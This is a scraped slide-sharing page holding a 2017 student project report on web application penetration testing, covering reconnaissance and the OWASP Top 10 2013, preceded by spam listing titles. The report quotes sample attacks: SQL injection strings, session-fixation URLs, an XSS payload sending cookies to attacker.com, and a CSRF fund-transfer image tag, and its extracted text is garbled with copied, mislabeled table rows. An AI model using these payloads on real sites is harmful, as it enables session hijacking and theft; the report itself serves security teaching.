NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...
NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...
NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...
 
21st_Century_Skills_Framework_Final_Presentation_2.pptx
21st_Century_Skills_Framework_Final_Presentation_2.pptx21st_Century_Skills_Framework_Final_Presentation_2.pptx
21st_Century_Skills_Framework_Final_Presentation_2.pptx
 
Interdisciplinary_Insights_Data_Collection_Methods.pptx
Interdisciplinary_Insights_Data_Collection_Methods.pptxInterdisciplinary_Insights_Data_Collection_Methods.pptx
Interdisciplinary_Insights_Data_Collection_Methods.pptx
 
latest AZ-104 Exam Questions and Answers
latest AZ-104 Exam Questions and Answerslatest AZ-104 Exam Questions and Answers
latest AZ-104 Exam Questions and Answers
 
Sensory_Experience_and_Emotional_Resonance_in_Gabriel_Okaras_The_Piano_and_Th...
Sensory_Experience_and_Emotional_Resonance_in_Gabriel_Okaras_The_Piano_and_Th...Sensory_Experience_and_Emotional_Resonance_in_Gabriel_Okaras_The_Piano_and_Th...
Sensory_Experience_and_Emotional_Resonance_in_Gabriel_Okaras_The_Piano_and_Th...
 
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
 
Wellbeing inclusion and digital dystopias.pptx
Wellbeing inclusion and digital dystopias.pptxWellbeing inclusion and digital dystopias.pptx
Wellbeing inclusion and digital dystopias.pptx
 
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdfUGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
 
Basic Intentional Injuries Health Education
Basic Intentional Injuries Health EducationBasic Intentional Injuries Health Education
Basic Intentional Injuries Health Education
 
On National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan FellowsOn National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan Fellows
 
How to Manage Global Discount in Odoo 17 POS
How to Manage Global Discount in Odoo 17 POSHow to Manage Global Discount in Odoo 17 POS
How to Manage Global Discount in Odoo 17 POS
 
80 ĐỀ THI THỬ TUYỂN SINH TIẾNG ANH VÀO 10 SỞ GD – ĐT THÀNH PHỐ HỒ CHÍ MINH NĂ...
80 ĐỀ THI THỬ TUYỂN SINH TIẾNG ANH VÀO 10 SỞ GD – ĐT THÀNH PHỐ HỒ CHÍ MINH NĂ...80 ĐỀ THI THỬ TUYỂN SINH TIẾNG ANH VÀO 10 SỞ GD – ĐT THÀNH PHỐ HỒ CHÍ MINH NĂ...
80 ĐỀ THI THỬ TUYỂN SINH TIẾNG ANH VÀO 10 SỞ GD – ĐT THÀNH PHỐ HỒ CHÍ MINH NĂ...
 
Salient Features of India constitution especially power and functions
Salient Features of India constitution especially power and functionsSalient Features of India constitution especially power and functions
Salient Features of India constitution especially power and functions
 

Analysis of web application penetration testing

  • 1. I Analysis of Web Application Penetration Testing by Md Yusuf Miah (Exam Roll: 16112) Sohel Rana (Exam Roll: 16109) Moh. Motiur Rahman (Exam Roll: 16108) Md. Munjurul Islam (Exam Roll: 16114) A project report submitted to the Institute of Information Technology in partial fulfillment of the requirements for the degree of Professional Masters in Information Technology Supervisor: Jesmin Akhter Institute of Information Technology Jahangirnagar University Savar, Dhaka-1342 April, 2017
  • 2. II DECLARATION This project report is the result of our comprehensive study and analysis under the supervision of Jesmin Akhter, Associate Professor, Institute of information technology (IIT), Jahangirnagar University, Savar, Dhaka in partial fulfillment of the requirements for the degree of Post Graduate Diploma in Information Technology (PGDIT). So, we, here by, declare that this project report has not been submitted elsewhere for the requirement of any kind of degree diploma or publication. Md. Yusuf Miah Sohel Rana ID: 16112 ID: 16109 Mohammad Motiur Rahman Md. Munjurul Islam ID: 16108 ID: 16114
  • 3. III ACCEPTANCE The project report entitled “Analysis of Web Application Penetration Testing” is submitted to the Institute of Information Technology, Jahangirnagar University, Savar, Dhaka in partial fulfillment of the requirements for the degree of Post Graduate Diploma in Information Technology (PGDIT). Date: February 2017 External Project Supervision Jesmin Akhter Member, PGDIT Co-ordination Committee & Associate Professor IIT, Jahangirnagar University Coordination Committee M. Mesbahuddin Sarker PGDIT Co-ordination Committee, Associate Professor Institute of Information Technology, K M Akkas Ali Course Coordinator, Associate Professor & Director IIT, Jahangirnagar University Md. Fazlul Karim Patwary Member, PGDIT Co-ordination Committee & Associate Professor IIT, Jahangirnagar University Jesmin Akhter Member, PGDIT Co-ordination Committee & Associate Professor IIT, Jahangirnagar University
  • 4. IV ABSTRACT Penetration testing is method to find out the vulnerabilities and security threats in web application of the website.Withthe rapidgrowth WWW (WorldWide Web),the Internetbecomes the major source forexchange of information across the world and there is a prime need to secure our online dataandthe informationfromthe malicioususers.Now a day’s most attacks are done on the application layer, new exploits are emerging rapidly and to overcome these attacks we must thinkoutof the box.The bestway to secure ourwebapplicationof the website is by conducting the penetrationtesting.Inthisresearchpaper,penetration analysisof web securityissuesof the website is presented, BackTrack 5R3, using Kali Linux & Zenmap tools. Keyword: vulnerability, attack, penetration testing, Kali Linux, BackTrack 5R3, Zenmap, web application security, authentication. Post Graduate Diploma in IT (PGDIT).
  • 5. V ACKNOWLEDGEMENTS In completion this Post Graduate project I have been fortunate to have support encouragement form many people. I would like to acknowledgement them for their co-operation. First, I would like to thanks Jesmin Akhter, my project advisor, for gardening me through each and every step of the process with knowledge and support. Thanks you for your advice, guidance and assistance. I wouldlike to express my utmost gratitude to the IIT of Jahangirnagar University for providing the opportunitytome to pursue the projectas a partial fulfillmentof the requirement for the degree of Post Graduate Diploma in IT (PGDIT). I alsofeel fortunate tobe blessedwiththe guidance andencouragement from my faculty members. And we remember our friends who helped and supported us a lot. Table of Contents Sl. No. Topic Page No. Declaration I Acceptance II Acknowledgement III Abstract IV Table of Contents V Overviewof the Project 1-4 Chapter One Information Gathering 1.1 Types of information gathering 5 1.2 Operating System 6 1.3 Login Pages 7 1.4 Who is Information 8 1.5 IP Address 9 1.6 Name Servers 10 1.7 Web Server 11 1.8 Sub Domain 12 1.9 Web Application 13 1.10 Web Application Firewall 14
  • 6. VI Chapter Two Vulnerability Analysis Of Web Application 2.0 Overviewof VulnerabilityAnalysis 15 2.1 Injection 17 2.2 BrokenAuthenticationandSessionManagement 19 2.3 Cross-Site Scripting (XSS) 23 2.4 Insecure Direct Object References 25 2.5 Insecure Direct Object References 27 2.6 Sensitive Data Exposure 29 2.7 Missing Function Level Access Control 31 2.8 Cross-Site Request Forgery (CSRF) 33 2.9 CROSS-SITE REQUEST FORGERY (CSRF) 35 2.10 Unvalidated Redirects and Forwards 37 Chapter Three ExploitationOf WebApplication 3.0 Overview of Exploitation 39 3.1 Scanning Phase 40 3.2 ExploitPhase 44 3.3 SQL Injection with Metasploit 48 3.4 Metasploit with BeEF plugin 58 Chapter Four Reporting Of Web Application 4.1 Summaryof findings 63 4.2 owasptop ten2013 64 4.3 Advantagesof penetrationtestingservices 66 4.4 Limitationsof PenetrationTesting 67 Conclusion 68 Reference 69
  • 7. VII Analysis of Web Application Penetration Testing OVERVIEW The primary objective for a analysis of web application penetration test is to identify exploitable vulnerabilities in applications before hackers are able to discover and exploit them. Web application penetration testing will reveal real-world opportunities for hackers to be able to compromise applications in such a way that allows for unauthorized access to sensitive data or even take-over systems for malicious/non-business purposes. This type of assessment is an attack simulation carried out by our highly trained security consultants in an effort to:  Identify application security flaws present in the environment  Understand the level of risk for your organization  Help address and fix identified application flaws GDIT Security’s application penetration testers have experience developing software not just trying to break it. They leverage this experience to zero in on critical issues and provide actionable remediation guidance. As a result of our penetration tests, you’ll be able to view your applications through the eyes of both a hacker and an experienced developer to discover where you can improve your security posture. Our consultants produce findings in written reports and provide your team with the guidance necessary to effectively remediate any issues we uncover. OVERVIEW
  • 8. VIII APPROACH PGDIT Security’s web application penetration testing service utilizes a comprehensive, risk- based approach to manually identify critical application-centric vulnerabilities that exist on all in-scope applications. Using this industry-standard approach, PGDIT Security’s comprehensive method covers the classes of vulnerabilities in the Open Web Application Security Project (OWASP) Top 10 2013 including, but not limited to: Injection, Cross-Site Scripting, Cross-Site Request Forgery, Invalidated Redirects & Forwards, Broken Authentication & Session Management, Security Misconfiguration, Insecure Direct Object Access and more…
  • 9. IX Chapter One Information Gathering INFORMATION GATHERING 1. Information Gathering In the same manner Web Pentesting is also much like this. When you are going to hunt a website down then you must know what really you are going to deal with, if you know your enemy which you are going to face then you can prepare yourself for that. So this is why Information Gathering is the first phase of Penetration testing. But now arise the question what information are we going to collect and where are we going to get that information from. "Where and how". 1.1 There are two types of information gathering:  Passive Information Gathering  Active Information Gathering I) Passive Information Gathering Passive information gathering can be stated collecting from other sources apart from victim and we can discover information about targets without touching their systems or client concern. For example, you can identify network boundaries, operating systems, open ports, and web server software in use on the target without touching their system. II) Active Information Gathering Active information gathering can be defined as piling up all information when information of victim or client is been carried out in premises.
  • 10. X 1.2. OPERATING SYSTEM Well most of you know what an operating system is but still if any one is confused that why do we need to know the OS, then let me clarify that when we know the operating system then we can find out the rights attacks, Open Ports, Exploits, Common Services etc which will help us later in pentesting.
  • 11. XI 1.3. LOGIN PAGES While pentesting when you find a login page or admin login page which requires some username and password to login then that is nothing to get sub about, actually getting a login page is just like finding a Locked door of a Secure house. But the to break inside you can use a master key or you can even break the lock. In the same manner Login pages can also be tested for many known Attacks
  • 12. XII 1.4. WHO IS INFORMATION: This is the most basic information about a domain, It shows the registration Details of the website in which you can commonly see who registered the domain and which date did he registered it on, when will it expire etc. This information may help you sometimes in Social engineering like sending him email on his registered email. Or you use his address, name or contact number in various tasks of Social Engineering.
  • 13. XIII 1.5. IP ADDRESS Well this ones for newbie’s, actually IP address is the real address behind any domain name which are resolved by the nameservers. Every Box or you can say a system contains a unique IP address for example (213.155.66.22). Using it computers communicate to each other. IP Address will help us targeting the network as well as find open ports and other exploitable services on the system while pentesting.
  • 14. XIV 1.6. NAME SERVERS These are the DNS resolvers, for example when you type in google.com in your browser the DNS resolvers find the real IP behind and take your request to the server, and bring back the response. We can later target the nameservers to for DNS based attacks testing of our pentesting.
  • 15. XV 1.7. WEB SERVER Webservers the one we are dealing over here is an application which is running over an Operating system and serves to the web requests coming to the system. Like Apache, Tomcat, IIS etc are webservers running on an operating system when any web request is sent to a system they handle it and they are responsible for giving out the response. Many times you can get Exploits related to a webserver and get a way into the sytem using that exploit, and if you know which webserver is bieng used then it will help you to find out the default directories or known vulnerabilities for that web server.
  • 16. XVI 1.8. SUB DOMAIN If you do not know what subdomains are then, Subdomain are domains maintained under a domain for example google.com is a domain name then mail.google.com is a subdomain inside it. We need to collect all available sub domains for a website. In many cases you may find hidden or private domain where they are maintaining something private and such application are usually left vulnerable and exposed because of the assumption the no one can reach them.
  • 17. XVII 1.9. WEB APPLICATION Many times what you are targetting is a public Web Application like Joomla, Wordress or any other. We also need to get all the information about the web Application so we can find any known Vulnerability for that particular Version or else we can find any Vulnerability in the source code available online.
  • 18. XVIII 1.10. WEB APPLICATION FIREWALL We can also test if they are using any firewall for that we can know what we are going to face and is there any ways to bypass that firewall. These are some of the common things we are going to try and find about our target.
  • 19. XIX Chapter Two Vulnerability Analysis Of Web Application VULNERABILITY ANALYSIS Vulnerability analysis, also known as vulnerability assessment, is a process that defines, identifies, and classifies the security holes (vulnerabilities) in a computer, network, or communications infrastructure. In addition, vulnerability analysis can forecast the effectiveness of proposed countermeasures and evaluate their actual effectiveness after they are put into use. The Open Web Application Security Project (OWASP) is an international organization dedicated to enhancing the security of web applications. As part of its mission, OWASP sponsors numerous security-related projects, one of the most popular being the Top 10 Project. This project publishes a list of what it considers the current top 10 web application security risks worldwide. The list describes each vulnerability, provides examples, and offers suggestions on how to avoid it. The most recent version of the top 10 list, officially published in June 2013, updated the 2010 list. The 2013 Top 10 list is based on data from seven application security firms, spanning over 500,000 vulnerabilities across hundreds of organizations. OWASP prioritized the top 10 according to their prevalence and their relative exploitability, detectability, and impact. As a further aid in understanding some of these vulnerabilities, the IBM Security Systems Ethical Hacking team has prepared the following videos.
  • 20. XX OPEN WEB APPLICATION SECURITY PROJEC (OWASP) TOP TEN VULNERABLE LIST 2.1: Injection. 2.2: BrokenAuthenticationandSessionManagement. 2.3: Cross-Site Scripting(XSS) 2.4: Insecure DirectObjectReferences. 2.5: SecurityMisconfiguration. 2.6: SensitiveDataExposure 2.7: MissingfunctionLevel AccessControl 2.8: Cross-Site RequestForgery(CSRF) 2.9: UsingComponentwithKnownVulnerablities 2.10: UnvalidatedRedirectsandForwards
  • 21. XXI 2.1 INJECTION Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. A1- Injection Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts Application Specific Exploitability DIFFICULT Prevalence UNCOMMON Detectability AVERAGE Impact SEVERE Application/ Business Specific Consider anyone who can send untrusteddata to the system, including external users, internal users, and administrators. Attackersends simple text- basedattacks that exploitthe syntax of the targeted interpreter. Almostany source of data can be an injection vector, including internal sources. Injectionflaws occurwhenan applicationsendsuntrusted data to an interpreter. Injectionflawsare very prevalent,particularlyinlegacy code.Theyare oftenfoundin SQL, LDAP,Xpath,or NoSQL queries;OScommands;XML parsers,SMTP Headers, program arguments,etc. Injectionflawsare easyto discoverwhenexaminingcode, but frequentlyhardtodiscover viatesting.Scannersand fuzzerscan helpattackersfind injectionflaws. Injectioncan resultindata lossor corruption, lack of accountability, or denial of access. Injectioncan sometimes leadto complete host takeover. Considerthe business value of the affecteddata and the platform runningthe interpreter. All data could be stolen, modified,or deleted. Couldyour reputationbe harmed?
  • 22. XXII Example Attack Scenarios Scenario #1: The application uses untrusted data in the construction of the following vulnerable SQL call: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)): Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'"); In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ' or '1'='1. For example: http://example.com/app/accountView?id=' or '1'='1 This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.
  • 23. XXIII 2. 2. BROKEN AUTHENTICATION AND SESSION MANAGEMENT: Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities. A2- Broken Authentication and Session Management Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts Application Specific Exploitability DIFFICULT Prevalence UNCOMMON Detectability AVERAGE Impact SEVERE Application / Business Specific Consider whocan gain access to your sensitive data and any backupsof that data. Thisincludes the data at rest,in transit,and eveninyour customers’ browsers. Include both external and internal threats. Attackers typicallydon’t breakcrypto directly.They break something else,suchas steal keys,do man-in-the- middle attacks,or steal cleartext data off the server,while intransit,or fromthe user’s browser. The most commonflaw is simplynotencryptingsensitive data. Whencryptois employed,weakkey generationandmanagement, and weakalgorithmusage is common,particularlyweak passwordhashingtechniques. Browserweaknessesare very commonand easyto detect, but hard to exploitona large scale.External attackershave difficultydetectingserverside flawsdue tolimitedaccessand theyare alsousuallyhardto exploit. Failure frequently compromises all data that shouldhave been protected. Typically,this information includes sensitivedata such as health records, credentials, personal data, credit cards, etc. Considerthe business value of the lostdata and impactto your reputation. What isyour legal liability if thisdata is exposed? Alsoconsider the damage to your reputation.
  • 24. XXIV Sessionfixation: Session Fixation is an attack that permits an attacker to hijack a valid user session. The attack explores a limitation in the way the web application manages the session ID, more specifically the vulnerable web application. When authenticating a user, it doesn’t assign a new session ID, making it possible to use an existent session ID. The attack consists of obtaining a valid session ID (e.g. by connecting to the application), inducing a user to authenticate himself with that session ID, and then hijacking the user-validated session by the knowledge of the used session ID. The attacker has to provide a legitimate Web application session ID and try to make the victim's browser use it. The session fixation attack is a class of Session Hijacking, which steals the established session between the client and the Web Server after the user logs in. Instead, the Session Fixation attack fixes an established session on the victim's browser, so the attack starts before the user logs in. There are several techniques to execute the attack; it depends on how the Web application deals with session tokens. Below are some of the most common techniques: • Session token in the URL argument: The Session ID is sent to the victim in a hyperlink and the victim accesses the site through the malicious URL.
  • 25. XXV • Session token in a hidden form field: In this method, the victim must be tricked to authenticate in the target Web Server, using a login form developed for the attacker. The form could be hosted in the evil web server or directly in html formatted e-mail. • Session ID in a cookie: * Client-side script Most browsers support the execution of client-side scripting. In this case, the aggressor could use attacks of code injection as the XSS (Cross-site scripting) attack to insert a malicious code in the hyperlink sent to the victim and fix a Session ID in its cookie. Using the function document.cookie, the browser which executes the command becomes capable of fixing values inside of the cookie that it will use to keep a session between the client and the Web Application. * <META> tag <META> tag also is considered a code injection attack, however, different from the XSS attack where undesirable scripts can be disabled, or the execution can be denied. The attack using this method becomes much more efficient because it's impossible to disable the processing of these tags in the browsers. * HTTP header response This method explores the server response to fix the Session ID in the victim's browser. Including the parameter Set-Cookie in the HTTP header response, the attacker is able to insert the value of Session ID in the cookie and sends it to the victim's browser. Example 1 Client-side scripting The processes for the attack using the execution of scripts in the victim's browser are very similar to example 1, however, in this case, the Session ID does not appear as an argument of the URL, but inside of the cookie. To fix the value of the Session ID in the victim's cookie, the attacker could insert a JavaScript code in the URL that will be executed in the victim's browser. http://website.kom/<script>document.cookie=”sessionid=abcd”;</script> Example 3 <META> tag
  • 26. XXVI As well as client-side scripting, the code injection must be made in the URL that will be sent to the victim. http://website.kon/<meta http-equiv=Set-Cookie content=”sessionid=abcd”> Example 4 HTTP header response The insertion of the value of the SessionID into the cookie manipulating the server response can be made, intercepting the packages exchanged between the client and the Web Application inserting the Set-Cookie parameter. Figure 2. Set-Cookie in the HTTP header response Example Attack Scenarios Scenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL: http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card. Scenario #2: Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated. Scenario #3: Insider or external attacker gains access to the system’s password database. User passwords are not properly hashed, exposing every users’ password to the attacker. 2.3. CROSS-SITE SCRIPTING (XSS)
  • 27. XXVII XSSflawsoccur wheneveran applicationtakesuntrusteddataandsendsittoa webbrowserwithout propervalidationorescaping.XSSallowsattackerstoexecutescriptsinthe victim’sbrowserwhich can hijackusersessions,deface websites,orredirectthe usertomalicioussites. implementationflawstoassume otherusers’identities. A3- Cross-Site Scripting (XSS) Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts Application Specific Exploitability DIFFICULT Prevalence UNCOMMON Detectability AVERAGE Impact SEVERE Application / Business Specific Consider anyone who can send untrusteddata to the system, including external users, internal users, and administrators. Attackersends text-based attack scripts that exploitthe interpreterin the browser. Almostany source of data can be an attack vector, including internal sourcessuch as data fromthe database. XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are two different types of XSS flaws: 1) Stored and 2) Reflected, and each of these can occur on the a) Server or b) on the Client. Detection of most Server XSS flaws is fairly easy via testing or code analysis. Client XSS is very difficult to identify. Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc. Consider the business value of the affected system and all the data it processes. Also consider the business impact of public exposure of the vulnerability.
  • 28. XXVIII Example Attack Scenarios The application uses untrusted data in the construction of the following HTML snippet without validation or escaping: (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>"; The attacker modifies the 'CC' parameter in their browser to: '><script>document.location= 'http://www.attacker.com/cgi- bin/cookie.cgi ?foo='+document.cookie</script>'. This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A8 for info on CSRF.
  • 29. XXIX 2.4. INSECURE DIRECT OBJECT REFERENCES A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data. A4- Insecure Direct Object References Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts Application Specific Exploitability DIFFICULT Prevalence UNCOMMON Detectability AVERAGE Impact SEVERE Application / Business Specific Considerthe typesof users of your system.Do any users have only partial access to certain typesof systemdata? Attacker,who isan authorized systemuser, simplychanges a parameter value that directlyrefers to a system objectto anotherobject the userisn’t authorizedfor. Is access granted? Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified. Such flawscan compromise all the data that can be referencedby the parameter. Unlessobject referencesare unpredictable, it’seasyfor an attackerto access all available data of thattype. Consider the business value of the exposed data. Also consider the business impact of public exposure of the vulnerability. Example Attack Scenarios: The application uses unverified data in a SQL call that is accessing account information:
  • 30. XXX String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); The attacker simply modifies the ‘acct’ parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user’s account, instead of only the intended customer’s account. http://example.com/app/accountInfo?acct=notmyacct
  • 31. XXXI 2.5. SECURITY MISCONFIGURATION: Good security requires having a secure configuration defined and deployed for the application, frameworks,applicationserver, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date. A5- Insecure Direct Object References Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts Application Specific Exploitability DIFFICULT Prevalence UNCOMMON Detectability AVERAGE Impact SEVERE Application / Business Specific Consider anonymous external attackers as well as users with their own accounts that may attempt to compromise the system. Also consider insiders wanting to disguise their actions. Attacker accesses default accounts, unusedpages, unpatched flaws, unprotected filesand directories,etc. to gain unauthorized access to or knowledge of the system. Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, database, framework, and custom code. Developers and system administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc. The system could be completely compromised without you knowing it. All of your data could be stolen or modified slowly over time. Recovery costs could be expensive. The system could be completely compromised without you knowing it. All your data could be stolen or modified slowly over time. Recovery costs could be expensive. Example Attack Scenarios:
  • 32. XXXII Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over. Scenario #2: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she decompiles and reverse engineers to get all your custom code. She then finds a serious access control flaw in your application. Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide. Scenario #4: App server comes with sample applications that are not removed from your production server. Said sample applications have well known security flaws attackers can use to compromise your server.
  • 33. XXXIII 2.6. SENSITIVE DATA EXPOSURE: Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser. A6-Sensitive Data Exposure Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts Application Specific Exploitability DIFFICULT Prevalence UNCOMMON Detectability AVERAGE Impact SEVERE Application / Business Specific Considerwho can gain access to your sensitivedata and any backupsof that data. This includesthe data at rest, intransit,and eveninyour customers’ browsers. Include both external and Attackers typicallydon’t breakcrypto directly. They break somethingelse, such as steal keys,doman- in-the-middle attacks,or steal cleartext data off the server,while in transit,or from the user’s The most commonflaw is simplynotencryptingsensitive data. Whencryptois employed,weak key generationandmanagement, and weakalgorithmusage is common,particularlyweak passwordhashingtechniques. Browserweaknessesare very commonand easyto detect, but hard to exploitona large scale.External attackershave difficultydetectingserverside flawsdue tolimitedaccessand theyare alsousuallyhardto Failure frequently compromises all data that shouldhave been protected. Typically,this information includes sensitivedata such as health records, credentials, personal data, Considerthe business value of the lostdata and impactto your reputation. What isyour legal liabilityif thisdata is exposed?Also considerthe damage to your reputation.
  • 34. XXXIV internal threats. browser. exploit. creditcards, etc. Example Attack Scenarios: Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this means it also decrypts this data automatically when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. The system should have encrypted the credit card numbers using a public key, and only allowed back-end applications to decrypt them with the private key. Scenario #2: A site simply doesn’t use SSL for all authenticated pages. Attacker simply monitors network traffic (like an open wireless network), and steals the user’s session cookie. Attacker then replays this cookie and hijacks the user’s session, accessing the user’s private data. Scenario #3: The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All of the unsalted hashes can be exposed with a rainbow table of precalculated hashes.
  • 35. XXXV 2.7. MISSING FUNCTION LEVEL ACCESS CONTROL Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization. A7- Missing Function Level Access Control Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts Application Specific Exploitability DIFFICULT Prevalence UNCOMMON Detectability AVERAGE Impact SEVERE Application / Business Specific Anyone with network access can sendyour applicationa request. Could anonymous usersaccess private functionality or regular usersa privileged function? Attacker, who is an authorized system user, simply changes the URL or a parameter to a privileged function. Is access granted? Anonymous users could access private functions that aren’t protected. Applications do not always protect application functions properly. Sometimes, function level protection is managed via configuration, and the system is misconfigured. Sometimes, developers must include the proper code checks, and they forget. Detecting such flaws is easy. The hardest part is identifying which pages (URLs) or functions exist to attack. Such flaws allow attackersto access unauthorized functionality. Administrative functionsare keytargetsfor thistype of attack. Consider the business value of the exposed functions and the data they process. Also consider the impact to your reputation if this vulnerability became public. Example Attack Scenarios:
  • 36. XXXVI Scenario #1: The attacker simply force browses to target URLs. The following URLs require authentication. Admin rights are also required for access to the dmin_getappInfo page. http://example.com/app/getappInfo http://example.com/app/admin_getappInfo If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non- admin, user is allowed to access the admin_getappInfo page, this is also a flaw, and may lead the attacker to more improperly protected admin pages. Scenario #2: A page provides an 'action' parameter to specify the function being invoked, and different actions require different roles. If these roles aren’t enforced, that’s a flaw.
  • 37. XXXVII 2.8. CROSS-SITE REQUEST FORGERY (CSRF): A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim. A8- Cross-Site Request Forgery (CSRF) Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts Application Specific Exploitability DIFFICULT Prevalence UNCOMMON Detectability AVERAGE Impact SEVERE Application / Business Specific Consider anyone who can load contentinto your users’ browsers,and thusforce themto submita requestto your website. Anywebsite or other HTML feed that your usersaccess coulddo this. Attacker createsforged HTTP requests and tricksa victiminto submitting themviaimage tags, XSS,or numerous other techniques. If the useris authenticated, the attack succeeds. CSRF takesadvantage the fact that mostwebapps allow attackersto predictall the detailsof a particularaction. Because browsers send credentials like session cookies automatically, attackers can create malicious web pages which generate forged requests that are indistinguishable from legitimate ones. Detection of CSRF flaws is fairly easy via penetration testing or code analysis. Attackers can trick victims into performing any state changing operation the victim is authorized to perform, e.g., updating account details, making purchases, logout and even login. Consider the business value of the affected data or application functions. Imagine not being sure if users intended to take these actions. Consider the impact to your reputation. Example Attack Scenarios:
  • 38. XXXVIII The application allows a user to submit a state changing request that does not include anything secret. For example: http://example.com/app/transferFunds?amount=1500&destinationAc count=4673243243 So, the attacker constructs a request that will transfer money from the victim’s account to the attacker’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control: <img src="http://example.com/app/transferFunds?amount=1500&destinat ionAccount=attackersAcct#" width="0" height="0" /> If the victim visits any of the attacker’s sites while already authenticated to example.com, these forged requests will automatically include the user’s session info, authorizing the attacker’s request.
  • 39. XXXIX 2.9. USING COMPONENTS WITH KNOWN VULNERABILITIES Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts. A9- Using Components with Known Vulnerabilities Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts Application Specific Exploitability DIFFICULT Prevalence UNCOMMON Detectability AVERAGE Impact SEVERE Application / Business Specific Some vulnerable components (e.g., framework libraries) can be identified and exploited with automated tools, expandingthe threatagent pool beyond targeted Attacker identifiesa weak component through scanningor manual analysis.He customizesthe exploitas neededand executesthe attack. It gets more difficultif the used Virtually every application has these issues because most development teams don’t focus on ensuring their components/libraries are up to date. In many cases, the developers don’t even know all the components they are using, never mind their versions. Component dependencies make things even worse. The full range of weaknesses ispossible, including injection, brokenaccess control,XSS, etc.The impactcould range from minimal to complete host takeoverand data compromise. Consider what each vulnerability might mean for the business controlled by the affected application. It could be trivial or it could mean complete compromise.
